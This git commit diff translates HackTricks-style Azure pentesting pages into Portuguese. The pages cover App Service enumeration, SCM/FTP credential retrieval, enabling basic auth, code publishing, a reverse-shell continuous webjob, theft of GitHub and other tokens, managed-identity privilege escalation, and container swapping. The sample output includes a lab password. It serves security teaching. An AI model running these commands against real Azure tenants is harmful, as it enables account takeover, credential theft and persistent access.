Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md

This commit is contained in:
Translator
2025-01-03 19:25:20 +00:00
parent 9494c3fcc7
commit c94dbc9bda
3 changed files with 391 additions and 82 deletions

View File

@@ -6,26 +6,24 @@
> [!TIP]
> No Linux, você precisará instalar o PowerShell Core:
>
> ```bash
> sudo apt-get update
> sudo apt-get install -y wget apt-transport-https software-properties-common
>
> # Ubuntu 20.04
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
>
> # Atualizar repositórios
> sudo apt-get update
> sudo add-apt-repository universe
>
> # Instalar e iniciar o powershell
> sudo apt-get install -y powershell
> pwsh
>
> # Az cli
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
> ```
```bash
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
# Update repos
sudo apt-get update
sudo add-apt-repository universe
# Install & start powershell
sudo apt-get install -y powershell
pwsh
# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```
## Instalar PowerShell no MacOS
Instruções da [**documentação**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):

View File

@@ -10,16 +10,16 @@ Para mais informações sobre os serviços de aplicativo do Azure, consulte:
../az-services/az-app-service.md
{{#endref}}
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Essas permissões permitem chamar os seguintes comandos para obter um **SSH shell** dentro de um aplicativo web
Essas permissões permitem obter um **SSH shell** dentro de um aplicativo web. Elas também permitem **depurar** a aplicação.
- Opção direta:
- **SSH em um único comando**:
```bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
```
- Crie um túnel e depois conecte-se ao SSH:
- **Criar túnel e depois conectar ao SSH**:
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
@@ -32,4 +32,249 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
```
- **Depurar o aplicativo**:
1. Instale a extensão Azure no VScode.
2. Faça login na extensão com a conta Azure.
3. Liste todos os serviços de aplicativo dentro da assinatura.
4. Selecione o serviço de aplicativo que você deseja depurar, clique com o botão direito e selecione "Iniciar Depuração".
5. Se o aplicativo não tiver a depuração ativada, a extensão tentará ativá-la, mas sua conta precisa da permissão `Microsoft.Web/sites/config/write` para fazê-lo.
### Obtendo Credenciais SCM e Habilitando Autenticação Básica
Para obter as credenciais SCM, você pode usar os seguintes **comandos e permissões**:
- A permissão **`Microsoft.Web/sites/publishxml/action`** permite chamar:
```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
```
Observe como o **nome de usuário é sempre o mesmo** (exceto no FTP, que adiciona o nome do aplicativo no início), mas a **senha é a mesma** para todos eles.
Além disso, a **URL do SCM é `<app-name>.scm.azurewebsites.net`**.
- A permissão **`Microsoft.Web/sites/config/list/action`** permite chamar:
```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
```
Observe como as **credenciais são as mesmas** que no comando anterior.
- Outra opção seria **definir suas próprias credenciais** e usá-las:
```bash
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
```
Então, você pode usar essas credenciais para **acessar as plataformas SCM e FTP**. Esta também é uma ótima maneira de manter a persistência.
Lembre-se de que para acessar a plataforma SCM pela **web, você precisa acessar `<SCM-URL>/BasicAuth`**.
> [!WARNING]
> Note que cada usuário pode configurar suas próprias credenciais chamando o comando anterior, mas se o usuário não tiver permissões suficientes para acessar o SCM ou FTP, as credenciais não funcionarão.
- Se você ver que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção de autenticação básica do SCM** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
### Publicar código usando credenciais SCM
Apenas ter credenciais SCM válidas já é possível **publicar código** no serviço de App. Isso pode ser feito usando o seguinte comando.
Para este exemplo em python, você pode baixar o repositório de https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, fazer quaisquer **alterações** que desejar e então **compactá-lo executando: `zip -r app.zip .`**.
Em seguida, você pode **publicar o código** com o seguinte comando:
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Microsoft.Web/sites/publish/Action | Credenciais do SCM
A permissão do Azure mencionada permite realizar várias ações interessantes que também podem ser realizadas com as credenciais do SCM:
- Ler logs de **Webjobs**:
```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>>' -v
```
- Leia o código-fonte do **Webjobs**:
```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
```
- Criar **Webjob contínuo**:
```bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/config/list/action
Esta permissão permite listar as **connection strings** e os **appsettings** do serviço de aplicativo, que podem conter informações sensíveis, como credenciais de banco de dados.
```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Essas permissões permitem **atribuir uma identidade gerenciada** ao serviço de aplicativo, então, se um serviço de aplicativo foi comprometido anteriormente, isso permitirá que o atacante atribua novas identidades gerenciadas ao serviço de aplicativo e **escalone privilégios** para elas.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Ler Credenciais de Terceiros Configuradas
Executando o seguinte comando, é possível **ler as credenciais de terceiros** configuradas na conta atual. Note que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de um diferente.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive.
Aqui estão alguns exemplos de comandos para verificar os tokens:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Atualizar o Código do App a partir da fonte
- Se a fonte configurada for um provedor de terceiros como Github, BitBucket ou um Repositório Azure, você pode **atualizar o código** do serviço App comprometendo o código-fonte no repositório.
- Se o app estiver configurado usando um **repositório git remoto** (com nome de usuário e senha), é possível obter a **URL e as credenciais de autenticação básica** para clonar e enviar alterações com:
- Usando a permissão **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Usando a permissão **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Se o app estiver configurado para usar um **repositório git local**, é possível **clonar o repositório** e **enviar alterações** para ele:
- Usando a permissão **`Microsoft.Web/sites/sourcecontrols/read`**: Você pode obter a URL do repositório git com `az webapp deployment source show --name <app-name> --resource-group <res-group>`, mas será a mesma que a URL SCM do app com o caminho `/<app-name>.git` (por exemplo, `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- Para obter as credenciais SCM, você precisa da permissão:
- **`Microsoft.Web/sites/publishxml/action`**: Em seguida, execute `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`**: Em seguida, execute `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
> [!WARNING]
> Observe que ter a permissão `Microsoft.Web/sites/config/list/action` e as credenciais SCM torna sempre possível implantar em um webapp (mesmo que tenha sido configurado para usar um provedor de terceiros), conforme mencionado em uma seção anterior.
> [!WARNING]
> Observe que ter as permissões abaixo também torna **possível executar um contêiner arbitrário** mesmo que o webapp tenha sido configurado de forma diferente.
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
Este é o conjunto de permissões que permite **modificar o contêiner usado** por um webapp. Um atacante poderia abusar disso para fazer um webapp executar um contêiner malicioso.
```bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,26 +12,74 @@ Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos
- Aplicativos nos níveis Standard e Premium são executados em VMs dedicadas.
> [!WARNING]
> Observe que **nenhuma** dessas isolations **impede** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**.
> Observe que **nenhuma** dessas isolamentos **previne** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**.
### Aplicativos Azure Function
Os aplicativos têm algumas configurações interessantes:
Basicamente, **os aplicativos Azure Function são um subconjunto do Azure App Service** na web e se você acessar o console da web e listar todos os serviços de aplicativo ou executar `az webapp list` no az cli, você poderá **ver os aplicativos Function também listados aqui**.
Na verdade, alguns dos **recursos relacionados à segurança** que os serviços de aplicativo usam (`webapp` no az cli) **também são usados pelos aplicativos Function**.
- **Always On**: Garante que o aplicativo esteja sempre em execução. Se não estiver habilitado, o aplicativo parará de funcionar após 20 minutos de inatividade e reiniciará quando uma solicitação for recebida.
- Isso é essencial se você tiver um webjob que precisa ser executado continuamente, pois o webjob parará se o aplicativo parar.
- **SSH**: Se habilitado, um usuário com permissões suficientes pode se conectar ao aplicativo usando SSH.
- **Debugging**: Se habilitado, um usuário com permissões suficientes pode depurar o aplicativo. No entanto, isso é desativado automaticamente a cada 48h.
- **Web App + Database**: O console web permite criar um aplicativo com um banco de dados. Nesse caso, é possível selecionar o banco de dados a ser usado (SQLAzure, PostgreSQL, MySQL, MongoDB) e também permite criar um Azure Cache para Redis.
- A URL contendo as credenciais para o banco de dados e Redis será armazenada nas **appsettings**.
- **Container**: É possível implantar um contêiner no App Service indicando a URL do contêiner e as credenciais para acessá-lo.
## Autenticação Básica
Ao criar um aplicativo web (e uma função Azure geralmente), é possível indicar se você deseja que a Autenticação Básica seja ativada. Isso basicamente **ativa SCM e FTP** para a aplicação, então será possível implantar a aplicação usando essas tecnologias.\
Ao criar um aplicativo web (e uma função do Azure geralmente), é possível indicar se você deseja que a Autenticação Básica seja habilitada. Isso basicamente **habilita SCM e FTP** para a aplicação, então será possível implantar a aplicação usando essas tecnologias.\
Além disso, para se conectar a eles, o Azure fornece uma **API que permite obter o nome de usuário, senha e URL** para se conectar aos servidores SCM e FTP.
- Autenticação: az webapp auth show --name lol --resource-group lol_group
É possível se conectar ao SCM usando um navegador da web em `https://<SMC-URL>/BasicAuth` e verificar todos os arquivos e implantações lá.
SSH
### Kudu
Always On
Kudu é um **motor de implantação e plataforma de gerenciamento para Azure App Service e Function Apps**, fornecendo implantações baseadas em Git, depuração remota e capacidades de gerenciamento de arquivos para aplicativos web. É acessível através da URL SCM do aplicativo web.
Debugging
Observe que as versões do Kudu usadas pelos App Services e pelos Function Apps são diferentes, sendo a versão dos Function Apps muito mais limitada.
Alguns endpoints interessantes que você pode encontrar no Kudu são:
- `/DebugConsole`: Um console que permite executar comandos no ambiente onde o Kudu está sendo executado.
- Observe que este ambiente **não tem acesso** ao serviço de metadados para obter tokens.
- `/webssh/host`: Um cliente SSH baseado na web que permite conectar-se dentro do contêiner onde o aplicativo está sendo executado.
- Este ambiente **tem acesso ao serviço de metadados** para obter tokens das identidades gerenciadas atribuídas.
- `/Env`: Obter informações sobre o sistema, configurações do aplicativo, variáveis de ambiente, strings de conexão e cabeçalhos HTTP.
- `/wwwroot/`: O diretório raiz do aplicativo web. Você pode baixar todos os arquivos daqui.
## Fontes
Os App Services permitem fazer upload do código como um arquivo zip por padrão, mas também permitem conectar-se a um serviço de terceiros e obter o código de lá.
- As fontes de terceiros atualmente suportadas são **Github** e **Bitbucket**.
- Você pode obter os tokens de autenticação executando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- O Azure, por padrão, configurará uma **Github Action** para implantar o código no App Service toda vez que o código for atualizado.
- Também é possível indicar um **repositório git remoto** (com nome de usuário e senha) para obter o código de lá.
- Você pode obter as credenciais para o repositório remoto executando `az webapp deployment source show --name <app-name> --resource-group <res-group>` ou `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Também é possível usar um **Azure Repository**.
- Também é possível configurar um **repositório git local**.
- Você pode obter a URL do repositório git com `az webapp deployment source show --name <app-name> --resource-group <res-group>` e será a URL SCM do aplicativo.
- Para cloná-lo, você precisará das credenciais SCM que pode obter com `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
## Webjobs
Azure WebJobs são **tarefas em segundo plano que são executadas no ambiente do Azure App Service**. Eles permitem que os desenvolvedores executem scripts ou programas ao lado de seus aplicativos web, facilitando o manuseio de operações assíncronas ou intensivas em tempo, como processamento de arquivos, manipulação de dados ou tarefas agendadas. Existem 2 tipos de web jobs:
- **Contínuo**: Executa indefinidamente em um loop e é acionado assim que é criado. É ideal para tarefas que requerem processamento constante. No entanto, se o aplicativo parar de funcionar porque o Always On está desativado e não recebeu uma solicitação nos últimos 20 minutos, o web job também parará.
- **Acionado**: Executa sob demanda ou com base em um cronograma. É mais adequado para tarefas periódicas, como atualizações de dados em lote ou rotinas de manutenção.
Webjobs são muito interessantes do ponto de vista de um atacante, pois podem ser usados para **executar código** no ambiente e **escalar privilégios** para as identidades gerenciadas anexadas.
Além disso, é sempre interessante verificar os **logs** gerados pelos Webjobs, pois podem conter **informações sensíveis**.
### Slots
Os Slots do Azure App Service são usados para **implantar diferentes versões da aplicação** no mesmo App Service. Isso permite que os desenvolvedores testem novos recursos ou alterações em um ambiente separado antes de implantá-los no ambiente de produção.
Além disso, é possível direcionar uma **porcentagem do tráfego** para um slot específico, o que é útil para **testes A/B** e para fins de backdoor.
### Azure Function Apps
Basicamente, **Azure Function apps são um subconjunto do Azure App Service** na web e, se você acessar o console web e listar todos os serviços de aplicativo ou executar `az webapp list` no az cli, você poderá **ver os Function apps também listados aqui**.
Na verdade, alguns dos **recursos relacionados à segurança** que os App Services usam (`webapp` no az cli) **também são usados pelos Function apps**.
### Enumeração
@@ -40,9 +88,10 @@ Debugging
```bash
# List webapps
az webapp list
## Less information
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}"
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
## Get SCM URL of each webapp
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
# Get info about 1 app
az webapp show --name <name> --resource-group <res-group>
@@ -51,18 +100,24 @@ az webapp show --name <name> --resource-group <res-group>
az webapp list-instances --name <name> --resource-group <res-group>
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
# Get configured Auth information
az webapp auth show --name <app-name> --resource-group <res-group>
# Get access restrictions of an app
az webapp config access-restriction show --name <name> --resource-group <res-group>
# Remove access restrictions
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
# Get connection strings of a webapp
az webapp config connection-string list --name <name> --resource-group <res-group>
# Get appsettings of an app
az webapp config appsettings list --name <name> --resource-group <res-group>
# Get SCM and FTP credentials
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
# Get configured Auth information
az webapp auth show --name <app-name> --resource-group <res-group>
# Get backups of a webapp
az webapp config backup list --webapp-name <name> --resource-group <res-group>
@@ -75,61 +130,39 @@ az webapp config snapshot list --resource-group <res-group> -n <name>
# Restore snapshot
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
# Get connection strings of a webapp
az webapp config connection-string list --name <name> --resource-group <res-group>
# Get slots
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
# Get traffic-routing
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
# Get used container by the app
az webapp config container show --name <name> --resource-group <res-group>
# Get storage account configurations of a webapp
az webapp config storage-account list --name <name> --resource-gl_group
az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
# Read webjobs logs with Azure permissions
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# List all the functions
az functionapp list
# Read webjobs logs with SCM credentials
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
--user '<username>:<password>' -v
# Get info of 1 funciton (although in the list you already get this info)
az functionapp show --name <app-name> --resource-group <res-group>
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
## This is using a container
# Get connections of a webapp
az webapp conection list --name <name> --resource-group <res-group>
# Get details about the source of the function code
az functionapp deployment source show \
--name <app-name> \
--resource-group <res-group>
## If error like "This is currently not supported."
## Then, this is probalby using a container
# Get more info if a container is being used
az functionapp config container show \
--name <name> \
--resource-group <res-group>
# Get settings (and privesc to the sorage account)
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
# Check if a domain was assigned to a function app
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
# Get SSL certificates
az functionapp config ssl list --resource-group <res-group>
# Get network restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Get source code with Master Key of the function
curl "<script_href>?code=<master-key>"
## Python example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
# Get hybrid-connections of a webapp
az webapp hybrid-connections list --name <name> --resource-group <res-group>
```
{{#endtab }}
@@ -196,6 +229,39 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## Exemplos para gerar Aplicativos Web
### Python localmente
Este tutorial é baseado no disponível em [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
```bash
# Clone repository
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
Fazendo login no portal SCM ou acessando via FTP, é possível ver em `/wwwroot` o arquivo compactado `output.tar.gz` que contém o código da webapp.
> [!TIP]
> Apenas conectar via FTP e modificar o arquivo `output.tar.gz` não é suficiente para alterar o código executado pela webapp.
**Um atacante poderia baixar este arquivo, modificá-lo e enviá-lo novamente para executar código arbitrário na webapp.**
### Python do Github
Este tutorial é baseado no anterior, mas usando um repositório do Github.
1. Faça um fork do repositório msdocs-python-flask-webapp-quickstart na sua conta do Github.
2. Crie uma nova Web App em Python no Azure.
3. No `Deployment Center`, altere a fonte, faça login com o Github, selecione o repositório forkado e clique em `Save`.
Como no caso anterior, fazendo login no portal SCM ou acessando via FTP, é possível ver em `/wwwroot` o arquivo compactado `output.tar.gz` que contém o código da webapp.
> [!TIP]
> Apenas conectar via FTP e modificar o arquivo `output.tar.gz` e reativar uma implantação não é suficiente para alterar o código executado pela webapp.
## Referências
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)